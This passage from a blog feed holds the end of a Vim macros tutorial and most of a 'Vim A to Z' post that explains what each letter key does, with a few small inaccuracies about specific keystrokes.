&lt;p&gt;A recording is started with &lt;code&gt;q&lt;/code&gt; followed by a register. The most common and closest register is obviously "q" itself so, &lt;code&gt;qq&lt;/code&gt; will start recording into &lt;em&gt;register q&lt;/em&gt;, and Vim will show the mode &lt;em&gt;recording @q&lt;/em&gt;.&lt;br&gt;
Here's an example of recording the sequence required to complete the task in the paragraph above (each line starting with a &lt;code&gt;|&lt;/code&gt; would require another &lt;code&gt;|&lt;/code&gt; after the &lt;strong&gt;third&lt;/strong&gt; space):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;qqf nna| &amp;lt;ESC&amp;gt;q
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's review each of 11 moves:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;q&lt;/code&gt; - record&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;q&lt;/code&gt; - save the recording into register "q"&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;f&lt;/code&gt; - find&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&lt;/code&gt; - space (followed by "find", space being the target)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;n&lt;/code&gt; - go to the next result&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;n&lt;/code&gt; - go to next result (again, since we're going for the &lt;strong&gt;third&lt;/strong&gt; space)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;a&lt;/code&gt; - start inserting after the current cursor location&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;|&lt;/code&gt; - insert a pipe&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&lt;/code&gt; - insert a space&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&amp;lt;ESC&amp;gt;&lt;/code&gt; - back to normal mode&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;q&lt;/code&gt; - stop recording&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;We now have a sequence of operations ready to be executed on the next line starting with &lt;code&gt;|&lt;/code&gt;. The last 5 words imply there's a more efficient way in regard to the number of keystrokes required. Let's create a sequence that would be able to repeat itself, meaning, &lt;strong&gt;it should end where the next execution should start&lt;/strong&gt;. One way to do that is this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/^|qqf nna| &amp;lt;ESC&amp;gt;nq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The additions here are a prefix of &lt;code&gt;/^|&lt;/code&gt; which means: search (&lt;code&gt;/&lt;/code&gt;) for all lines starting (&lt;code&gt;^&lt;/code&gt;) with &lt;code&gt;|&lt;/code&gt;, and a suffix of &lt;code&gt;n&lt;/code&gt; just before the end of recording (&lt;code&gt;q&lt;/code&gt;) meaning "jump to the next search result". The record now doesn't require any extra keystrokes in between executions other than the Vim "repeat" command (which we'll get to know in the next section), or providing a number of required repetitions to the execution command.&lt;/p&gt;

&lt;h4&gt;
  
  
  Executing
&lt;/h4&gt;

&lt;p&gt;Execution of a recorded sequence is done with &lt;code&gt;@&lt;/code&gt; followed by the target register; &lt;code&gt;@q&lt;/code&gt; would execute the contents of register "q". &lt;code&gt;@@&lt;/code&gt; is a shortcut, as it reads the last register's contents (2nd &lt;code&gt;@&lt;/code&gt;) and runs it (1st &lt;code&gt;@&lt;/code&gt;). Another useful combination is Vim's repetition command &lt;code&gt;.&lt;/code&gt;, which comes in handy when executing a sequence, then moving to another location where it's required (assuming there was no better option of recording), then using &lt;code&gt;.&lt;/code&gt; saves a keystroke and replaces the &lt;code&gt;@&amp;lt;register&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  Reading
&lt;/h4&gt;

&lt;p&gt;As with any register, contents are available with &lt;code&gt;:reg&lt;/code&gt; (or &lt;code&gt;:reg q&lt;/code&gt; in the specific example), and can be pasted from with &lt;code&gt;"qp&lt;/code&gt; ("paste from register q").&lt;/p&gt;

&lt;h4&gt;
  
  
  Changing
&lt;/h4&gt;

&lt;p&gt;After reading and pasting, the sequence can be manipulated in any way, and the sequence which is essentially a string of characters, can be saved back into the register for further use with: &lt;code&gt;"q&lt;/code&gt; followed by where the text is.&lt;/p&gt;

&lt;h4&gt;
  
  
  Combining
&lt;/h4&gt;

&lt;p&gt;Macros can be combined or "concatenated": if a certain sequence is recorded into register &lt;code&gt;q&lt;/code&gt; and another to &lt;code&gt;w&lt;/code&gt;, one may want to read them both, maybe concatenate the strings and resave them to one register so they can be run together. A better and quicker solution would be to start recording a new macro to a new register &lt;code&gt;e&lt;/code&gt; as an example, and then simply execute both sequences in the desired order: &lt;code&gt;"e@q@w&lt;/code&gt; - "record into register e, the sequence in register q followed by the one in register w".&lt;/p&gt;




&lt;h2&gt;
  
  
  When
&lt;/h2&gt;

&lt;p&gt;The simple answer to when should anyone use a macro, is either &lt;strong&gt;when you can't find a better alternative&lt;/strong&gt; e.g. &lt;a href=""&gt;a regex-based search and replace&lt;/a&gt;, a normal search (&lt;code&gt;/&lt;/code&gt;) and repeat (&lt;code&gt;.&lt;/code&gt;) combination, OR &lt;strong&gt;when it's the quicker way&lt;/strong&gt;, as simple as that. Vim's concept of "least keystrokes to result" is something to live by and remember; the least amount of effort put into a given result the better. Better flow, better focus and overall satisfaction of the user, because at the end of the day that's what Vim is all about: &lt;em&gt;productivity&lt;/em&gt;.&lt;/p&gt;




&lt;p&gt;Thank you for reading this far!&lt;br&gt;
My name is Omer, and I am an engineer at ProdOps — a global consultancy that delivers software in a Reliable, Secure and Simple way by adopting the DevOps culture. Let me know your thoughts in the comments below, or connect with me directly on Twitter @omergsr. Clap if you liked it, it helps me focus my future writings.&lt;/p&gt;

</description>
      <category>vim</category>
      <category>productivity</category>
      <category>tutorial</category>
      <category>codequality</category>
    </item>
    <item>
      <title>Vim A to Z - Literally</title>
      <dc:creator>Omer Hamerman</dc:creator>
      <pubDate>Mon, 06 Jan 2020 15:14:11 +0000</pubDate>
      <link>https://forem.com/prodopsio/vim-a-to-z-literally-1iah</link>
      <guid>https://forem.com/prodopsio/vim-a-to-z-literally-1iah</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;TL;DR - ish: This post is a list of options and keystrokes in Vim, if this is the first time you're getting to know them, take your time, read some, memorize and go back once you feel comfortable with taking more in. Vim is overwhelming if you're just getting started, but it's even more rewarding!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Vim has been one of the best adoptions and projects I took upon learning in the last several years. I've written quite a bit about it; &lt;a href="https://dev.to/omerxx/vim-from-foe-to-friend-in-9-minutes-2np0"&gt;an introductory post&lt;/a&gt; after reading the awesome &lt;a href="https://www.amazon.co.uk/Practical-Vim-Second-Speed-Thought/dp/1680501275/" rel="noopener noreferrer"&gt;Practical Vim&lt;/a&gt; and some &lt;a href=""&gt;advanced features&lt;/a&gt;.&lt;br&gt;
I've been also collecting a long list of tips and notes which are &lt;a href="https://github.com/omerxx/vim-notebook/blob/master/README.md" rel="noopener noreferrer"&gt;open sourced&lt;/a&gt;,&lt;br&gt;
but recently I felt there's an educational aspect to Vim that is being missed; Vim has phonetic logic to every keystroke, by understanding them and the logic behind them, one may feel much easier making their way through the steep learning curve.&lt;/p&gt;

&lt;p&gt;The following list has both original intentions of Vim authors, and some additions I made up myself to help myself remember what I was doing when I first started. How is it going to work - Vim has a special and different meaning to each character, its lower or upper case, and obviously the motions it is combined with. The list will go through the alphabet mentioning each case with useful and notable tips.&lt;/p&gt;

&lt;p&gt;Conventions: Vim keystroke sequences are in &lt;code&gt;code blocks&lt;/code&gt; and from time to time are followed by &lt;code&gt;&amp;lt;CTRL&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;ESC&amp;gt;&lt;/code&gt;, these are marked differently as they are mapped differently in different keyboards. There's also significance to &lt;strong&gt;where&lt;/strong&gt; a sequence begins; so, an example would include &lt;code&gt;[start: x]&lt;/code&gt; marking the character when the cursor is at before the sequence. &lt;/p&gt;




&lt;p&gt;So, without further ado, here's my &lt;strong&gt;Vim A --&amp;gt; Z list&lt;/strong&gt;...&lt;/p&gt;

&lt;h3&gt;
  
  
  A - Append, Amend
&lt;/h3&gt;

&lt;p&gt;Lower case &lt;code&gt;a&lt;/code&gt; will transition you into &lt;em&gt;insert mode&lt;/em&gt; to the character on the right of the current location.&lt;br&gt;
Example: &lt;code&gt;[start: W]&lt;/code&gt; at &lt;code&gt;WRD&lt;/code&gt; ("W"): use this sequence: &lt;code&gt;aO&amp;lt;ESC&amp;gt;&lt;/code&gt;, the cursor will end up back in &lt;em&gt;normal mode&lt;/em&gt; having &lt;code&gt;WORD&lt;/code&gt; written; &lt;code&gt;a&lt;/code&gt; starts editing to the right of &lt;code&gt;W&lt;/code&gt;, &lt;code&gt;O&lt;/code&gt; is inserted, and &lt;code&gt;&amp;lt;ESC&amp;gt;&lt;/code&gt; throws back to &lt;em&gt;normal mode&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Upper case &lt;code&gt;A&lt;/code&gt; would have the same effect but in &lt;strong&gt;the end of a line&lt;/strong&gt;, so if my text is &lt;code&gt;TWO WORD&lt;/code&gt; and I run &lt;code&gt;AS.&amp;lt;ESC&amp;gt;&lt;/code&gt; I'll end up with &lt;code&gt;TWO WORDS.&lt;/code&gt;. &lt;br&gt;
Tip: its counterpart is &lt;code&gt;I&lt;/code&gt;; the same effect as &lt;code&gt;A&lt;/code&gt; but at the beginning of the line.&lt;/p&gt;

&lt;h3&gt;
  
  
  B - Backwards, Beginning
&lt;/h3&gt;

&lt;p&gt;Lower case &lt;code&gt;b&lt;/code&gt; will move to the beginning of the current word, if the cursor is already there, it'll go to the previous word's first character.&lt;br&gt;
&lt;code&gt;B&lt;/code&gt; would do the same but to the beginning of the line (starting to get the idea?). I like to think about the capital versions of the Vim keystrokes and &lt;strong&gt;strong&lt;/strong&gt; stokes.&lt;br&gt;
Tip: its counterpart stroke is &lt;code&gt;e&lt;/code&gt; (end) or &lt;code&gt;w&lt;/code&gt; (next word's beginning).&lt;/p&gt;

&lt;h3&gt;
  
  
  C - Change
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;c&lt;/code&gt; is usually followed by a &lt;em&gt;motion&lt;/em&gt;; &lt;code&gt;c&lt;/code&gt; combined with the listed above &lt;code&gt;b&lt;/code&gt;, would take you to &lt;em&gt;insert mode&lt;/em&gt; changing everything from the current location to the beginning of the word.&lt;br&gt;
Example: &lt;code&gt;[start: R]&lt;/code&gt; in &lt;code&gt;WORD&lt;/code&gt;, hit &lt;code&gt;cbX&lt;/code&gt;, you end up with &lt;code&gt;XRD&lt;/code&gt;.&lt;br&gt;
Since any Vim motion is relevant here, it can be run with some powerful combinations; e.g. &lt;code&gt;ciw&lt;/code&gt; means "change in the word", deletes the word while transitioning to &lt;em&gt;normal mode&lt;/em&gt;.&lt;br&gt;
&lt;code&gt;C&lt;/code&gt; in the case would change the entire line to its end from the current location.&lt;br&gt;
Tip: &lt;code&gt;D&lt;/code&gt; would do the same (as we'll see in a moment) but without the &lt;em&gt;insert mode&lt;/em&gt; part.&lt;/p&gt;

&lt;h3&gt;
  
  
  D - Delete
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;d&lt;/code&gt; would delete any motion that would follow, so &lt;code&gt;diw&lt;/code&gt; would be "delete in the word" which is similar to &lt;code&gt;ciw&lt;/code&gt; but the end result is still &lt;em&gt;normal mode&lt;/em&gt;.&lt;br&gt;
Useful combinations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;dip&lt;/code&gt; "delete in paragraph"&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;dgg&lt;/code&gt; - "delete from here up"&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;dG&lt;/code&gt; - "delete from here down"&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;dd&lt;/code&gt; "delete the current line"
Tip: has a small brother &lt;code&gt;x&lt;/code&gt; that has roughly the same effect but on a single character.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  E - End
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;e&lt;/code&gt;: you guessed it - takes you to the &lt;code&gt;e&lt;/code&gt;nd of a word or the &lt;code&gt;E&lt;/code&gt;nd of a line.&lt;/p&gt;

&lt;h3&gt;
  
  
  F - Find!
&lt;/h3&gt;

&lt;p&gt;A very useful motion; &lt;code&gt;f&lt;/code&gt; would find the character it's combined with; e.g. &lt;code&gt;fX&lt;/code&gt; would find the next &lt;code&gt;X&lt;/code&gt; appearance in a sentence. Using &lt;code&gt;F&lt;/code&gt; would have the same effect but in a backward search.&lt;br&gt;
Tip #1: combined with &lt;code&gt;;&lt;/code&gt; (next result), "find" becomes a very powerful motion in Vim to quickly find a character instead of moving towards it in slower or more keystrokes. &lt;code&gt;;&lt;/code&gt; works both backward and forward - depends on the original motion (&lt;code&gt;f&lt;/code&gt; vs &lt;code&gt;F&lt;/code&gt;).&lt;br&gt;
Tip #2: &lt;code&gt;f&lt;/code&gt; can be combined with other motions, to name a useful one - marking a visual block until a certain point including the point, one would use &lt;code&gt;vfx&lt;/code&gt; where &lt;code&gt;x&lt;/code&gt; is the character in question. Let's put this into a more solid example; consider the line "Here sleeps the hairy brown fox" &lt;code&gt;[start: H]&lt;/code&gt;, and the goal is to visually mark "Here sleeps the hairy", a sequence can be &lt;code&gt;vfy&lt;/code&gt; as in "Visually mark until char y including." &lt;em&gt;Sub-tip&lt;/em&gt;: if the end result wanted is the same but without the last char, use &lt;code&gt;t&lt;/code&gt; as in &lt;code&gt;vty&lt;/code&gt; to "Mark &lt;em&gt;to&lt;/em&gt; y".&lt;/p&gt;




&lt;p&gt;We're done with &lt;code&gt;f&lt;/code&gt; - let's take a look on a visual that shows some of it:&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2F381ps1dt3qx1seo1m8su.jpg" alt="Visual Vim motions in a line"&gt;
&lt;/h2&gt;

&lt;h3&gt;
  
  
  G - Go
&lt;/h3&gt;

&lt;p&gt;This is actually my own interpretation, &lt;code&gt;g&lt;/code&gt; goes places but with a bit different motions, Vim authors did not provide a significance to it on its own. Useful combinations: &lt;code&gt;gg&lt;/code&gt; to go the very beginning to the file, while &lt;code&gt;G&lt;/code&gt; would do the same but to the end.&lt;br&gt;
Tip: Find a comprehensive list of all the options with &lt;code&gt;:help *g*&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  H - An arrow replacement
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;h&lt;/code&gt; is one of the "special four" &lt;code&gt;hjkl&lt;/code&gt; which are the basic arrows in Vim (sides, up &amp;amp; down), where &lt;code&gt;h&lt;/code&gt; is used for &lt;strong&gt;left&lt;/strong&gt;.&lt;br&gt;
Addition suggested by &lt;a href="https://dev.to/caruso"&gt;Giuseppe Caruso&lt;/a&gt;:&lt;br&gt;
&lt;code&gt;H&lt;/code&gt; will take the cursor to the top of the page.&lt;/p&gt;

&lt;h3&gt;
  
  
  I - Insert
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;i&lt;/code&gt; is one of the most useful keystrokes in Vim, maybe only second to &lt;code&gt;&amp;lt;ESC&amp;gt;&lt;/code&gt;. &lt;code&gt;i&lt;/code&gt; transitions from &lt;em&gt;normal mode&lt;/em&gt; to &lt;em&gt;insert mode&lt;/em&gt;. In the same way &lt;code&gt;I&lt;/code&gt; does the same but at the &lt;strong&gt;beginning of the line&lt;/strong&gt;.&lt;br&gt;
Useful (and advanced) Tip:&lt;br&gt;
Since &lt;code&gt;I&lt;/code&gt; edits the beginning of the line which is not a usual requirement of a user, I find myself requiring a prefix to a block or a number of lines. Using &lt;em&gt;visual block&lt;/em&gt; (which we'll cover below with &lt;code&gt;V&lt;/code&gt;) one can mark a visual block with &lt;code&gt;&amp;lt;CTRL&amp;gt;v&lt;/code&gt; then when a block is marked, use &lt;code&gt;I&lt;/code&gt; to start editing. When the edit is done hit &lt;code&gt;&amp;lt;ESC&amp;gt;&lt;/code&gt; to&lt;br&gt;
go back to &lt;em&gt;normal mode&lt;/em&gt; but with the entire block prefixed with the change.&lt;/p&gt;

&lt;p&gt;Example: &lt;code&gt;[start: L]&lt;/code&gt; hit &lt;code&gt;&amp;lt;CTRL&amp;gt;vjjI*&amp;lt;SPACE&amp;gt;&amp;lt;ESC&amp;gt;&lt;/code&gt;:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

Line one
Line two
Line twenty-two


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Can you guess the result?&lt;br&gt;
Let's review the motions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Start a visual block (&lt;code&gt;&amp;lt;CTRL&amp;gt;-v&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Jump down twice (&lt;code&gt;jj&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Insert an asterisk followed by a space at the beginning of the line&lt;/li&gt;
&lt;li&gt;Go back to normal mode, and behold: &lt;strong&gt;MAGIC&lt;/strong&gt; 😮&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

* Line one
* Line two
* Line twenty-two


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  J - An arrow replacement
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;j&lt;/code&gt; is one of the "special four" &lt;code&gt;hjkl&lt;/code&gt; which are the basic arrows in Vim (sides, up &amp;amp; down), where &lt;code&gt;j&lt;/code&gt; is used for &lt;strong&gt;down&lt;/strong&gt;.&lt;br&gt;
Tip #1: &lt;code&gt;j&lt;/code&gt; happens to be a rare English letter, and the  key on a keyboard happens to be quite far considering its extensive use in the switch back to &lt;em&gt;normal mode&lt;/em&gt;,&lt;br&gt;
there's a convention of mapping &lt;code&gt;jj&lt;/code&gt; to &lt;code&gt;&amp;lt;ESC&amp;gt;&lt;/code&gt; and use the already-in-read key to make the transition.&lt;br&gt;
Here's the mapping for your convenience: &lt;code&gt;imap jj &amp;lt;Esc&amp;gt;&lt;/code&gt;. As with any other change (especially in Vim) it takes a while to get used to, but it's very much worth the wait.&lt;br&gt;
Tip #2 suggested by the reader &lt;code&gt;@argon2008aiti&lt;/code&gt;:&lt;br&gt;
&lt;code&gt;J&lt;/code&gt; (capital) joins the line below after the cursor, this is useful when the cursor is standing at the end of a line and the line below should be joined to the same point. Usually, a user would go down a line, find the beginning of a sentence and delete backward to the earlier location.&lt;/p&gt;
&lt;h3&gt;
  
  
  K - An arrow replacement
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;K&lt;/code&gt; is one of the "special four" &lt;code&gt;hjkl&lt;/code&gt; which are the basic arrows in Vim (sides, up &amp;amp; down), where &lt;code&gt;k&lt;/code&gt; is used for &lt;strong&gt;up&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  L - An arrow replacement
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;L&lt;/code&gt; is one of the "special four" &lt;code&gt;hjkl&lt;/code&gt; which are the basic arrows in Vim (sides, up &amp;amp; down), where &lt;code&gt;l&lt;/code&gt; is used for &lt;strong&gt;right&lt;/strong&gt;. (An absurd thinking about the concept of this post, one would expect "l" to be used for left :+1)... :trollface:&lt;/p&gt;
&lt;h3&gt;
  
  
  M - Mark
&lt;/h3&gt;

&lt;p&gt;Vim supports a powerful marking feature. Using &lt;a href="https://www.brianstorti.com/vim-registers/" rel="noopener noreferrer"&gt;Registers&lt;/a&gt;, it can save locations in a document with &lt;code&gt;m&lt;/code&gt; like so: &lt;code&gt;ma&lt;/code&gt; would save the current location to the register &lt;code&gt;a&lt;/code&gt;, go back to it from each other location with &lt;code&gt;'a&lt;/code&gt; (&lt;code&gt;a&lt;/code&gt; can be replaced here with any other character that can represent a register).&lt;br&gt;
Relevant tip: if you did not remember to mark your location, which we normally don't in the flow of work, &lt;code&gt;''&lt;/code&gt; will always jump back to the &lt;strong&gt;previous location&lt;/strong&gt;.&lt;br&gt;
Addition suggested by &lt;a href="https://dev.to/caruso"&gt;Giuseppe Caruso&lt;/a&gt;:&lt;br&gt;
&lt;code&gt;M&lt;/code&gt; will move the cursor to the middle of the page (same as &lt;code&gt;zz&lt;/code&gt;).&lt;/p&gt;
&lt;h3&gt;
  
  
  N - Next
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;n&lt;/code&gt; will go to the &lt;code&gt;n&lt;/code&gt;ext result of a search. Since this is a circular motion (next after the last result is the first), &lt;code&gt;n&lt;/code&gt; is used to go forward and &lt;code&gt;N&lt;/code&gt; to go back.&lt;br&gt;
Relevant info: to those who are not familiar, search in Vim is triggered with &lt;code&gt;/&lt;/code&gt; followed by search text. Beyond the obvious use-case of searching an appearance or a specific result, this is a useful motion; even if you already know and see the location of your target. Moving a cursor sometimes takes more keystrokes than just searching for the word (and maybe combining it with an &lt;code&gt;n&lt;/code&gt;).&lt;/p&gt;
&lt;h3&gt;
  
  
  O - Open line
&lt;/h3&gt;

&lt;p&gt;Not certain whether this was, in fact, the author's intention, &lt;code&gt;o&lt;/code&gt; does exactly that: it opens a new line below the cursor. Using &lt;code&gt;O&lt;/code&gt; would do the same but &lt;em&gt;above&lt;/em&gt;. &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Here's something I did not yet figure to a level I'm satisfied with: &lt;code&gt;o&lt;/code&gt; opens a line and transitions to &lt;em&gt;insert mode&lt;/em&gt;, there are many times I'd like to open a new line below or above the cursor without adding new text, I've tried different mappings and combinations, but ended up back where I started with &lt;code&gt;o&lt;/code&gt; followed by &lt;code&gt;&amp;lt;ECS&amp;gt;&lt;/code&gt;. I'll use this stage to ask - had anyone found a better solution to this very specific yet annoying problem?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;
  
  
  P - Paste, Paragraph
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;p&lt;/code&gt;'s most common usage is pasting something that has been &lt;code&gt;y&lt;/code&gt;anked or cut (remember Vim treats &lt;code&gt;d&lt;/code&gt;elete as cut too). &lt;code&gt;p&lt;/code&gt;asting is done &lt;strong&gt;after&lt;/strong&gt; the cursor while &lt;code&gt;P&lt;/code&gt; does it &lt;strong&gt;before&lt;/strong&gt;.&lt;br&gt;
Tip: &lt;a href="https://www.brianstorti.com/vim-registers/" rel="noopener noreferrer"&gt;Registers&lt;/a&gt; come in handy once again; paste from a register by combining it before the motion: with text saved into the &lt;code&gt;a&lt;/code&gt; register, &lt;code&gt;"adiw&lt;/code&gt; would "delete in word and save to the a register". Use the register's content and paste it using &lt;code&gt;"ap&lt;/code&gt; ("paste after the cursor from register a").&lt;/p&gt;
&lt;h3&gt;
  
  
  Q - Quit (and &lt;em&gt;Reqord&lt;/em&gt; macros)
&lt;/h3&gt;

&lt;p&gt;This bad spelled word is how I initially memorized where macros are starting their way :)&lt;br&gt;
&lt;code&gt;q&lt;/code&gt; is used to quit Vim, either with &lt;code&gt;:q&lt;/code&gt; which is the basic, &lt;code&gt;:qw&lt;/code&gt; to quit and write, &lt;code&gt;q!&lt;/code&gt; to quit even if work hasn't been saved and more.&lt;br&gt;
Having that said, as a &lt;em&gt;motion&lt;/em&gt;, &lt;code&gt;q&lt;/code&gt; is used to record a sequence of operations and repeat them, or as this is called in the Vim terminology "macros", more on macros (A-lot more) in my next and very soon blog post.&lt;br&gt;
For the time being here's a quick tip: Recording is done into registers just like yanking and cutting; use &lt;code&gt;qq&lt;/code&gt; to record into register &lt;code&gt;q&lt;/code&gt;, and do run a sequence of commands. Another hit on &lt;code&gt;q&lt;/code&gt; would stop the record making it available for execution with &lt;code&gt;@q&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  R - Replace
&lt;/h3&gt;

&lt;p&gt;While &lt;code&gt;r&lt;/code&gt; is as simple as replacing the current character with another (&lt;code&gt;ra&lt;/code&gt; will replace the current location with &lt;code&gt;a&lt;/code&gt;), &lt;code&gt;R&lt;/code&gt; is a powerful one yet rare; &lt;code&gt;R&lt;/code&gt; would transition into the odd &lt;em&gt;replace mode&lt;/em&gt;, which is essentially an &lt;em&gt;insert mode&lt;/em&gt; that &lt;strong&gt;overrides&lt;/strong&gt; characters. When block-width matters or there's an order of alignment, this small feature comes in very handy.&lt;/p&gt;
&lt;h3&gt;
  
  
  S - Substitute
&lt;/h3&gt;

&lt;p&gt;Being honest here - &lt;code&gt;s&lt;/code&gt; is the one motion of this entire list I did not recall and as such, I have never used it. I find it quite unnecessary having &lt;code&gt;c&lt;/code&gt; motion that transitions into &lt;em&gt;insert mode&lt;/em&gt; with the combined motion. &lt;code&gt;s&lt;/code&gt; would do the same while editing "on the spot": substituting the current character and editing from thereon. Useful when the end result is a substitution of a single character, yet this could be achieved with &lt;code&gt;x&lt;/code&gt;&amp;amp;&lt;code&gt;i&lt;/code&gt; or &lt;code&gt;r&lt;/code&gt;&amp;amp;&lt;code&gt;&amp;lt;ESC&amp;gt;&lt;/code&gt;.&lt;br&gt;
Using &lt;code&gt;S&lt;/code&gt; would substitute the current block while keeping you in &lt;em&gt;insert mode&lt;/em&gt;.&lt;br&gt;
Tip: I personally map &lt;code&gt;&amp;lt;leader&amp;gt;ss&lt;/code&gt; to toggle Vim's spell checker, (yes it has one), here's the mapping:&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

nnoremap &amp;lt;leader&amp;gt;ss :setlocal spell spelllang=en_us&amp;lt;CR&amp;gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Another "s" map I have is &lt;code&gt;ss&lt;/code&gt; to disable the highlight after searching a word resulting the highlights of all results, here it this map from &lt;a href="https://github.com/omerxx/dotfiles/vim/.vimrc" rel="noopener noreferrer"&gt;my .vimrc&lt;/a&gt;:&lt;/p&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

&lt;p&gt;nnoremap ss :noh&amp;lt;CR&amp;gt;&lt;/p&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
&lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
  T - To&lt;br&gt;
&lt;/h3&gt;

&lt;p&gt;Mentioned previously in the &lt;strong&gt;F&lt;/strong&gt; section, &lt;code&gt;t&lt;/code&gt; means "do something until" (or to); &lt;code&gt;vtx&lt;/code&gt; means "visually mark to x" (without x). Or &lt;code&gt;dtf&lt;/code&gt; (this is just a random example...) would be "delete to char f".&lt;/p&gt;

&lt;h3&gt;
  
  
  U - Undo
&lt;/h3&gt;

&lt;p&gt;As simple as that, &lt;code&gt;u&lt;/code&gt; would undo changes. It's big brother &lt;code&gt;U&lt;/code&gt; has a rather strange result - undoing changes done in the same line since the cursor last moved into it.&lt;/p&gt;

&lt;h3&gt;
  
  
  V - Visual
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;v&lt;/code&gt; is your way to mark chars / words / lines / blocks in Vim in order to do something with it; &lt;code&gt;d&lt;/code&gt;eleting, &lt;code&gt;y&lt;/code&gt;anking or maybe indenting (&lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt;).&lt;/p&gt;

&lt;h3&gt;
  
  
  W - Word
&lt;/h3&gt;

&lt;p&gt;This motion was mentioned multiple times above as it comes hand in hand with &lt;code&gt;e&lt;/code&gt;nd &amp;amp; &lt;code&gt;b&lt;/code&gt;ack; &lt;code&gt;w&lt;/code&gt; is a motion that jumps to the next beginning of a word.&lt;br&gt;
&lt;code&gt;W&lt;/code&gt; is quite interesting: while &lt;code&gt;w&lt;/code&gt; is the current word, &lt;code&gt;W&lt;/code&gt; is the "word block", which means it includes all characters between two spaces.&lt;br&gt;
Example: "some-name,still-no-space" is not one &lt;code&gt;w&lt;/code&gt;ord, but Vim would consider it one if addresses as &lt;code&gt;W&lt;/code&gt;.&lt;br&gt;
How is this useful? With motions of course: &lt;code&gt;viW&lt;/code&gt; is "visually mark a block in the Word" (between the two closest spaces). Obviously, this can be combined with any other motion in Vim.&lt;/p&gt;

&lt;h3&gt;
  
  
  X - Cross out?
&lt;/h3&gt;

&lt;p&gt;The one letter in the English alphabet which I couldn't have found an actual phonetic resolution; &lt;code&gt;x&lt;/code&gt; would remove a single character under the cursor. (Remember: &lt;code&gt;s&lt;/code&gt; would do the same resulting in &lt;em&gt;insert mode&lt;/em&gt;, &lt;code&gt;x&lt;/code&gt; would not).&lt;br&gt;
&lt;code&gt;X&lt;/code&gt; would be the same but &lt;strong&gt;backward&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Y - Yank
&lt;/h3&gt;

&lt;p&gt;One of the most useful and basic motions in Vim - &lt;code&gt;y&lt;/code&gt; copies text, by default into the &lt;a href="https://dev.to"&gt;unnamed register&lt;/a&gt;, ready to be &lt;code&gt;p&lt;/code&gt;asted back in another location. Its big brother &lt;code&gt;Y&lt;/code&gt; would copy the entire line with one stroke (I'm used to doing the same with &lt;code&gt;yy&lt;/code&gt;).&lt;/p&gt;

&lt;h3&gt;
  
  
  Z - Welcome it! Last and pretty useless on its own: "Z"
&lt;/h3&gt;

